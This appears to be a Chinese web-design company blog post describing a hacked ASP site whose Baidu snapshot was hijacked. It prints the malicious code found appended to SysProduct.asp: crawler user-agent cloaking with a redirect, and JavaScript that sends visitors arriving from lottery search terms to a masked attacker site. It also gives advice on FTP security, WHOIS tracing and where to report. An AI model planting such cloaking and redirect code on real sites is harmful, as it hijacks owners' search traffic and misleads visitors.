百度快照是如何篡改(修改)的呢?
前几日,我的客户电话说自己的百度排名没有了,查询下竟然百度标签显示的内容是一家彩票平台的网站内容。 我知道网站被黑客加入了非法代码,恶意篡改了百度快照。(截图如下)
查看“百度快照”出现的是一组跳转网站的广告内容。我们对客户设置的网站信息消失了。
1、黑客是如何修改百度快照的呢?
我进行了排查,客户的网站是使用asp源码开发的。发现有个文件被黑客写入了一段代码。西安市网页制作公司,西安网站建设推荐阅读>>> 关于网站快照不更新的一点看法,
路径:Inc文件夹—SysProduct.asp文件里面最底下添加了如下代码:
<%
function Getbot()
dim s_agent
GetBot=""
s_agent=Request.ServerVariables("HTTP_USER_AGENT")
if instr(1,s_agent,"googlebot",1) > 0 then
GetBot="google"
end if
if instr(1,s_agent,"baiduspider",1) > 0 then
GetBot="baidu"
end if
end function
if GetBot="baidu" or GetBot="google" then
'
Response.Redirect "http://*********"(跳转的网站,引导百度抓取的内容)
else
'
Response.Write"<script type=""text/javascript"">var d=document.referrer;var re=/((wd|q|w|p|query)(=)([%A-Z0-9]*)(%E4%B8%A4%E5%85%83%E5%BD%A9%E7%A5%A8|%E4%B8%A4%E5%85%83%E5%BD%A9%E7%A5%A8%E7%BD%91|%E4%B8%A4%E5%85%83%E5%BD%A9%E7%A5%A8%E5%AE%98%E7%BD%91|%E4%B8%A4%E5%85%83%E5%BD%A9%E7%A5%A8%E5%B9%B3%E5%8F%B0))/;if(re.test(d)){self.location='http://*********';(目标网站)window.adworkergo='ad_app6'}else{}</script>"
end if
%>
黑客设置的这串代码导致百度爬虫抓取网页的时候,直接抓取越过客户网站抓取了跳转网站内容,导致百度快照里面显示的是别的内容。使得客户本来排名首页的网站直接被百度屏蔽了。造成了客户很大的损失。
2、那么黑客是如何进入后台的呢?
黑客要进入后台,必须知道FTP账户和密码,以及IP地址。西安给公司建网页,西安网站建设推荐阅读>>> 网站快照日期更新取决于什么因素,
造成的原因有如下几种:
1)一方面是FTP密码设置的时候比较简单化,很容易被利用软件破解掉,
2)另一方面选择便宜的空间也是一种隐患。因为空间IP以及用户名是很难被知道的,除非有人提供。
3、网站被黑之后,你如何追查黑客的来源?
方法比较简单,就是查询你跳转的目标网站的域名信息。一般情况下,都是一些小型的站长开发的赚钱网站,通过查询域名信息你可以获知该域名的归属人是谁,他有可能就是黑你网站的人。
如果是比较大型的网站利用外包的方式进行推广,那么你也可以得知负责人,给百度或者是网络警察举报一下,该网站存在恶意攻击修改内容的行为,毕竟它也有一定得责任。西安 网站建设,西安网站建设推荐阅读>>> 为什么百度快照直接跳转到网页上,
通过中国万网Whois域名查询:比如我客户跳转的彩票网站的域名信息如下:
1)第一个是:注册人
2)第二个是:联系电话
3)第三个是:联系邮箱
基本上你联系注册人就可以解决问题。如果对你客户造成的损失太大的话,建议你通过以下方式进行维权:
违法和不良信息举报中心:http://net.china.cn/
12321网络不良与垃圾信息举报受理中心:http://www.12321.cn/
国家互联网应急中心网络安全举报中心:http://www.cert.org.cn/
中国反钓鱼网站联盟认定及处理流程: http://www.cnnic.cn/
公安部信息网络安全报警网站:http://www.cyberpolice.cn/wfjb/
中国扫黄打非网:http://www.shdf.gov.cn/
北京市公安局网络违法犯罪举报网站:http://www.bj.cyberpolice.cn/index.jsp
希望本篇文章对你防黑有帮助。
作者:网牛天下
相关文章:
-
绝对地址:网络中的绝对地址是指带有网站域名的网页地址。含有绝对地址的网页能够被搜索引擎更好的收录。 相对地址:只包含本地路径的网页地址,地址通常以/和/表示层级关系。 在网页...
-
网站访问的原理采用的是BS框架,即 browser server。通过Http协议向服务器请求相关页面数据,然后通过浏览器进行解析实现。所以网站的一个基本需求就是一个网站的站点服务器。 目前我所认知...
-
终于把dedecms和discuz整合成功了,分享一下方法 1.安装dedecms,大家都懂的。 2.安装discuz x2,安装的时候我们选择包含ucenter 我把两个程序安装在同一个数据库里,安装成功后我们进入dx后台,然...
-
如何修改discuz首页logo 两种方法简单修改discuz 论坛首页logo,一种是直接从网页后台修改;另外一种是从ftp后台修改。西安网站建设推荐阅读 Discuz目录文件结构表 , 方法一:从网页后台修改...
-
在你开始搭建一个网站的时候必须得准备以下几个步凑,免得到时手忙脚乱,给网站带来不好的因数: 1,域名 域名就想一个人的名字一样,你首先得想好,必须的和你网站的内容相关,好让...
-
注册好域名租用虚拟主机或者服务器,开始建立一个网站。网站建立成功后,可能多多少少的有些问题。可能是乱码问题,也可能是数据库等等一些原因导致网站无法正常的访问。下面小编就...
-
不需要域名和空间的方法《如何在本地搭建一个网站》。其原理就是利用自己的电脑来作服务器,这里我私人总结了几点好处: 1.不需要申请域名和空间。 2.方便修改主题模板。直接在搭建好...
-
Discuz目录文件结构表最近在学习discuz的程序,真的感觉模板有点复杂(相比织梦DEDE相差甚远)。今天本人将discuz程序目录整理了一下,希望对刚开始接触discuz这个程序的伙伴们有所帮助。 |...
-
一个用户的网站被挂马 很多以prn.开头的文件...这个文件其实是windows禁止建立的..但是可以在dos建立 所以在dos下用更改属性 结果不让改? 然后想恢复权限 不让恢复 ,网站的跟目录被加了几个文...
-
域名是互联网的入口,域名的重要性不言而喻。一旦域名被盗,且转移到其他注册商,将给域名所有人带来巨大的损失。以下小贴士是从网络上搜集的经验汇总,希望给处于域名被盗困境中的...